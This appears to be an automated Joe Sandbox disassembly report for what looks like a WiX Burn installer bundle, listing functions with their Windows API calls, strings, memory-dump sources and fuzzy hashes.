Instruction ID: dfc0bf16b56dc103a43176cb4c58b3065964a3e1d06c2cb97ed9502e8d8c233c
Opcode Fuzzy Hash: dce1c2a2079e8b5922f16c72a980f2e1f9c93ad832f04d32b7904fb477a731fa
Instruction Fuzzy Hash: 4A214D71E00619ABCB10DBA4C898AAEB7B8BF04766F154164FD01AB250E670DD09CBA0

Function 00A50484 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000008,00000000,7744C3F0,?,00000000), ref: 00A504A6
GetLastError.KERNEL32 ref: 00A504B0
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00A504E3
GetLastError.KERNEL32 ref: 00A504FC
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00A5053C

Strings

procutil.cpp, xrefs: 00A5052A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastToken$ChangeCloseFindInformationNotificationOpenProcess
String ID: procutil.cpp
API String ID: 3650908616-1178289305
Opcode ID: bcd30f9bfb814c2ff8bedb8b05311972501158b7910a19ee89f559d36b97a336
Instruction ID: e792de981629fb89890b8984f41a387c81bf028233f236b463a0f9741a4febf5
Opcode Fuzzy Hash: bcd30f9bfb814c2ff8bedb8b05311972501158b7910a19ee89f559d36b97a336
Instruction Fuzzy Hash: DA21A772A40216FFDB209FA49C45EEEBB78FB04312F118579EE15E6090E2749E48DB90

Function 00A53670 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5309E: _memset.LIBCMT ref: 00A530C5
Part of subcall function 00A5309E: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A530DA
Part of subcall function 00A5309E: LoadLibraryW.KERNELBASE(?,?,00000104,00A21C3B), ref: 00A53128
Part of subcall function 00A5309E: GetLastError.KERNEL32 ref: 00A53134

GetProcAddress.KERNEL32(SRSetRestorePointW,srclient.dll), ref: 00A5369B
GetLastError.KERNEL32(?,00A216AF,00000001,00000000,?,?,?,?,00A21DEA,?,?), ref: 00A536AA

Strings

SRSetRestorePointW, xrefs: 00A53690
srclient.dll, xrefs: 00A53679
`D m, xrefs: 00A536A1
srputil.cpp, xrefs: 00A536CC

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$AddressDirectoryLibraryLoadProcSystem_memset
String ID: SRSetRestorePointW$`D m$srclient.dll$srputil.cpp
API String ID: 2131201312-129526168
Opcode ID: 7265343359bba7b3274706ed6bb070e2ec4410094bffcf273f665bfc359e7aef
Instruction ID: 0d9fd4e548fde7d6e52a3a968be5d2c7454b1fdfcbfaf51e83ab2474ce3dc5a9
Opcode Fuzzy Hash: 7265343359bba7b3274706ed6bb070e2ec4410094bffcf273f665bfc359e7aef
Instruction Fuzzy Hash: 7C01843364472273CE2157A59C0971B2594BB407E3F018569FD04EA750D675CD8C97D1

Function 00A55434 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A55443
InterlockedIncrement.KERNEL32(00A77F08), ref: 00A55460
CLSIDFromProgID.OLE32(Msxml2.DOMDocument,00A77EF8), ref: 00A5547B
CLSIDFromProgID.OLE32(MSXML.DOMDocument,00A77EF8), ref: 00A55487

Strings

MSXML.DOMDocument, xrefs: 00A55482
Msxml2.DOMDocument, xrefs: 00A55476

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FromProg$IncrementInitializeInterlocked
String ID: MSXML.DOMDocument$Msxml2.DOMDocument
API String ID: 2109125048-2356320334
Opcode ID: 01815ca723575409638c7c98f6a054c6486c942dcad60e8d1a73d025bd32b57f
Instruction ID: 780ea1ab0aed53dc052fca95d65cbcf58715ba155b73425cb80840c9a1912cbf
Opcode Fuzzy Hash: 01815ca723575409638c7c98f6a054c6486c942dcad60e8d1a73d025bd32b57f
Instruction Fuzzy Hash: B6F0A020B486217AD32487B6AD28F1B2AB6FB90B63F10C824ED18D1054D37088C6C6B0

Function 00A3130D Relevance: 9.1, APIs: 6, Instructions: 84windowCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000082,?,?), ref: 00A31338
SetWindowLongW.USER32(?,000000EB,00000000), ref: 00A31347
SetWindowLongW.USER32(?,000000EB,?), ref: 00A3135B
DefWindowProcW.USER32(?,?,?,?), ref: 00A3136B
GetWindowLongW.USER32(?,000000EB), ref: 00A31385
PostQuitMessage.USER32(00000000), ref: 00A313E0

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Window$Long$Proc$MessagePostQuit
String ID:
API String ID: 3812958022-0
Opcode ID: 7664bf489d46da6950d3141a8c714cfc200c3406f1390d742ab020c342c34b7a
Instruction ID: 135e7f01daac8441355a059a4a62abe871139f49412d312a099766e74cebe57d
Opcode Fuzzy Hash: 7664bf489d46da6950d3141a8c714cfc200c3406f1390d742ab020c342c34b7a
Instruction Fuzzy Hash: 1C210132500308BFDB019FA4DC49E6A3B6AFF44322F148664F912AA5B0C730CD209BA0

Function 00A465EB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,?), ref: 00A466AE
GetLastError.KERNEL32 ref: 00A466B8

Strings

cabextract.cpp, xrefs: 00A466E2
Failed to move file pointer 0x%x bytes., xrefs: 00A466EF
Invalid seek type., xrefs: 00A46627

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move file pointer 0x%x bytes.$Invalid seek type.$cabextract.cpp
API String ID: 2976181284-417918914
Opcode ID: ce18f12be47f8ab8fd8e186873c87ec1ffbff51f18a8452a0548fc07426701c9
Instruction ID: 03e190c52a86e7cad34e1e6adc51ff163a088644e7f6aa912baf4d67ce858008
Opcode Fuzzy Hash: ce18f12be47f8ab8fd8e186873c87ec1ffbff51f18a8452a0548fc07426701c9
Instruction Fuzzy Hash: 69417C79A00205EFCB04CFA8D944A99B7F4FF85324F15C1A5EC18EB261E734E954DB51

Function 00A40BFD Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A40C0F

Strings

Failed to open attached container., xrefs: 00A40C7B
WixBundleElevated, xrefs: 00A40C03
Failed to get container information for UX container., xrefs: 00A40C46
Failed to get path for executing module., xrefs: 00A40C5D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to get container information for UX container.$Failed to get path for executing module.$Failed to open attached container.$WixBundleElevated
API String ID: 2102423945-2733515141
Opcode ID: 9bfc3c715c223c5b1ecae71a524b923eb7c4fde83cc40865471a45d922ff3b50
Instruction ID: 4733c6dfaa5da77a8dd0e0b38fa67c6c9fa6ac43850a8b5fe59b8f74b1a9871e
Opcode Fuzzy Hash: 9bfc3c715c223c5b1ecae71a524b923eb7c4fde83cc40865471a45d922ff3b50
Instruction Fuzzy Hash: 74118677D00118FACB11EBE89E85DEFB7BCABA4751B200626F555F7040E6705A05E790

Function 00A21033 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,0000011C), ref: 00A21057
InitializeCriticalSection.KERNEL32(?,?,0000011C), ref: 00A21060
GetCurrentProcess.KERNEL32(00000000,?,?,?,0000011C), ref: 00A2107E

Part of subcall function 00A50484: OpenProcessToken.ADVAPI32(?,00000008,00000000,7744C3F0,?,00000000), ref: 00A504A6
Part of subcall function 00A50484: GetLastError.KERNEL32 ref: 00A504B0
Part of subcall function 00A50484: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00A5053C

Part of subcall function 00A5041E: _memset.LIBCMT ref: 00A50446

Strings

Failed to initialize engine section., xrefs: 00A210C9
Failed to verify elevation state., xrefs: 00A210B0

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalInitializeProcessSection$ChangeCloseCurrentErrorFindLastNotificationOpenToken_memset
String ID: Failed to initialize engine section.$Failed to verify elevation state.
API String ID: 347799009-3203524654
Opcode ID: 470db9d866c6554ecd98fccf1dbfdba2895b13d8c952c769a14f39de20d2cb15
Instruction ID: 12fe3f0ccad4c87dc0570fe3940d6f5ee5becfd86fdff416598cc7d2717d51dc
Opcode Fuzzy Hash: 470db9d866c6554ecd98fccf1dbfdba2895b13d8c952c769a14f39de20d2cb15
Instruction Fuzzy Hash: 601186B2554724BAD720ABB89D06B8B72ECAF10352F104529F916D3181E774E90587A5

Function 00A28EB9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

CompareStringW.KERNELBASE(0000007F,00001000,?,000000FF,?,000000FF,?,00000000,00000030,00A29885,?,00A2AE46,?,00000030,00000000,00000030), ref: 00A28EF2
GetLastError.KERNEL32(?,00A2AE46,?,00000030,00000000,00000030,00A29885,?,00A2B5FC,?,?,00000030), ref: 00A28F28

Strings

variable.cpp, xrefs: 00A28F4D
Failed to compare strings., xrefs: 00A28F57

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareErrorLastString
String ID: Failed to compare strings.$variable.cpp
API String ID: 1733990998-1686915864
Opcode ID: cb2bac09140774a109f28b85b5b529762450ccc82933a811e12fbb5a2e75261b
Instruction ID: 2b9b719792d8846a0eb7890cd1abfd29ead16a90bef2ea4a2c9f84ea7a3baf6c
Opcode Fuzzy Hash: cb2bac09140774a109f28b85b5b529762450ccc82933a811e12fbb5a2e75261b
Instruction Fuzzy Hash: 7321A232A56236ABCB10CF5CED41E5ABBA5FF05761B114269F924EB2D0DB74DE00CB90

Function 00A46556 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4647C: SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,00000000,?,?,00A46584,?,?), ref: 00A464A1
Part of subcall function 00A4647C: GetLastError.KERNEL32(?,00A46584,?,?), ref: 00A464AB

ReadFile.KERNELBASE(?,?,?,?,00000000,?,?), ref: 00A46592
GetLastError.KERNEL32 ref: 00A4659C

Strings

cabextract.cpp, xrefs: 00A465C1
Failed to read during cabinet extraction., xrefs: 00A465CB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLast$PointerRead
String ID: Failed to read during cabinet extraction.$cabextract.cpp
API String ID: 2170121939-2426083571
Opcode ID: 25c9dfcedbd934ded5fa00b50d26deb01257f25cc693216ef7dd11a29a048eb1
Instruction ID: edcaa36bb4837e47f3e4c7c70a73c8329d0f42589bf87a9f687a6d28c5f15b46
Opcode Fuzzy Hash: 25c9dfcedbd934ded5fa00b50d26deb01257f25cc693216ef7dd11a29a048eb1
Instruction Fuzzy Hash: 3201C47A250205ABCB11DF68ED05E9A3BF8FFC5B21F100228F914D7191DB31E505DB65

Function 00A4647C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,00000000,?,?,00A46584,?,?), ref: 00A464A1
GetLastError.KERNEL32(?,00A46584,?,?), ref: 00A464AB

Strings

Failed to move to virtual file pointer., xrefs: 00A464DA
cabextract.cpp, xrefs: 00A464D0

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move to virtual file pointer.$cabextract.cpp
API String ID: 2976181284-3005670968
Opcode ID: 52d94ba6eb3b3706ac15bafa1def2afb7de194fb71f3d998992c4efba3cbe56d
Instruction ID: 8692e708d764e9db3bb7572751e01d9c2e70ab280e63a71debd5846e3cbdc4ec
Opcode Fuzzy Hash: 52d94ba6eb3b3706ac15bafa1def2afb7de194fb71f3d998992c4efba3cbe56d
Instruction Fuzzy Hash: 6101263A240702ABC7205A6ADD05F677BA5AFC2B22F15C039FA18CA190EE35D8449765

Function 00A5309E Relevance: 6.1, APIs: 4, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A530C5
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A530DA
LoadLibraryW.KERNELBASE(?,?,00000104,00A21C3B), ref: 00A53128
GetLastError.KERNEL32 ref: 00A53134

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: DirectoryErrorLastLibraryLoadSystem_memset
String ID:
API String ID: 1376650706-0
Opcode ID: 63875caf155be70b9bf20953c787ddac518de4147ccdcb102e27949f19485344
Instruction ID: 322bac040daeafee6ce4f07a886ed2323c5da6688e30383da54f40a69b89c49e
Opcode Fuzzy Hash: 63875caf155be70b9bf20953c787ddac518de4147ccdcb102e27949f19485344
Instruction Fuzzy Hash: 4111E777A01719A7DF109BB4EC49B9A77A8BBC0751F104560E919D7241EA34DA488B60

Function 00A52B10 Relevance: 4.5, APIs: 3, Instructions: 18memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,00A4FD8F,?,?,00A46A7B,00000000,00000000,80070000,?,?,?,?,00A50109,?), ref: 00A52B18
RtlFreeHeap.NTDLL(00000000,?,00A4FD8F,?,?,00A46A7B,00000000,00000000,80070000,?,?,?,?,00A50109,?,00A46A7B), ref: 00A52B1F
GetLastError.KERNEL32(?,00A4FD8F,?,?,00A46A7B,00000000,00000000,80070000,?,?,?,?,00A50109,?,00A46A7B,?), ref: 00A52B2D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$ErrorFreeLastProcess
String ID:
API String ID: 406640338-0
Opcode ID: 4014806116fd2c279d0f83cd03c1194eea751416f01c8ecaea35846aa3df42b9
Instruction ID: a9ea16b1305d5c979c42c1417d72958ace5af20a63a3838e8109efc5dc0e01ad
Opcode Fuzzy Hash: 4014806116fd2c279d0f83cd03c1194eea751416f01c8ecaea35846aa3df42b9
Instruction Fuzzy Hash: 47D02E32A20306ABC3004FE19C4AB3A3B5CBB01343F004030FE05C80B0D738C454A7B4

Function 00A558E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A55912

Part of subcall function 00A5573B: GetModuleHandleA.KERNEL32(kernel32.dll,?,00000000,?,?,00A55923,00000000,?,00000000), ref: 00A55759
Part of subcall function 00A5573B: GetLastError.KERNEL32(?,?,00A55923,00000000,?,00000000,?,?,?,?,?,?,?,?,00A43EA0,00A2222A), ref: 00A55765

Strings

WixBundleElevated, xrefs: 00A558F3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHandleInitLastModuleVariant
String ID: WixBundleElevated
API String ID: 52713655-4097796520
Opcode ID: 943288120a4734d8c700694c9fc10d808099bead1c237be60295a2b8cafb465d
Instruction ID: 484febc2b534ac21a47ee07e292fa90ccc510ac130b1a0f3bbccf480724d3923
Opcode Fuzzy Hash: 943288120a4734d8c700694c9fc10d808099bead1c237be60295a2b8cafb465d
Instruction Fuzzy Hash: E5316C76E00618DFDB00DFA8D884ADEB7F9FF88321F110469E906EB301EA75D9058B60

Function 00A57B94 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000000,00000000,hvr,00000000,00000000,?,?,00A37A1C,WiX\Burn,PackageCache,00000000,hvr,00000000,00000000,00000000), ref: 00A57BE6

Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,80070002,80070003,00000000,00000000,00000000), ref: 00A538B2
Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00A538EB

Strings

hvr, xrefs: 00A57B9E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: QueryValue$Close
String ID: hvr
API String ID: 1979452859-2129366506
Opcode ID: cd7022c5d13d7e91e7b818e69ebf08efd38d8ab5ca75cb3c1948ab8e8c79d122
Instruction ID: 2d5841ede2396cf115579efa9a1c718584d749db6af3f4f39bc06f0ecdac4b96
Opcode Fuzzy Hash: cd7022c5d13d7e91e7b818e69ebf08efd38d8ab5ca75cb3c1948ab8e8c79d122
Instruction Fuzzy Hash: CE11917250410AAFCF20DF94ED81AAE77A6FB80357B260439ED02B7110D7318E58D760

Function 00A53DFC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

Strings

regutil.cpp, xrefs: 00A53E51

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open
String ID: regutil.cpp
API String ID: 71445658-955085611
Opcode ID: 6a930d745c5f248121097bffb2164ccd5fcecc2e3ecc2c5f624499b10fdefd4f
Instruction ID: 66f68b07ad6c70c008f8c6df2c9802b6efaff78204adeeac98b307a0e143261e
Opcode Fuzzy Hash: 6a930d745c5f248121097bffb2164ccd5fcecc2e3ecc2c5f624499b10fdefd4f
Instruction Fuzzy Hash: BDF0B43334021B7FEF241A94DCC2B3A35CABB59BA6F148038FE09CA152D676CD185250

Function 00A52603 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,00000104,00000000,?,00A37AD4,0000001C,00000000,00000000,00000000,00000000), ref: 00A52624

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 42ca137ecaf1814e7c11780a771e7baecb732811887cbcb83d7c1372efb7020f
Instruction ID: 4f0d26d96fe66611711197ec8bed0a3ff34c4fb17808b160ccca99f9952e3ee6
Opcode Fuzzy Hash: 42ca137ecaf1814e7c11780a771e7baecb732811887cbcb83d7c1372efb7020f
Instruction Fuzzy Hash: 99E0C23134132433D6102A95AC02FCE7B9CBF26B67F104001FF04AA090C2B0A10447E9

Function 00A46724 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?), ref: 00A4675F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 5218c0023b0e4e0f32d9cd7a7b2508ff0e8b8e6fe87a94ae89a6f960be17ec8d
Instruction ID: b5388d202ad79d31a16b1058212d03e412176a115d902938718968aa89919a10
Opcode Fuzzy Hash: 5218c0023b0e4e0f32d9cd7a7b2508ff0e8b8e6fe87a94ae89a6f960be17ec8d
Instruction Fuzzy Hash: C0F06D35610204CFDB10CFA8D948B1477E4AB4573AF05C2A0EA298A2F2D731D852CE51

Function 00A21000 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000), ref: 00A2100C

Part of subcall function 00A21B46: _memset.LIBCMT ref: 00A21BA5
Part of subcall function 00A21B46: _memset.LIBCMT ref: 00A21BC9
Part of subcall function 00A21B46: CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A21F08

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

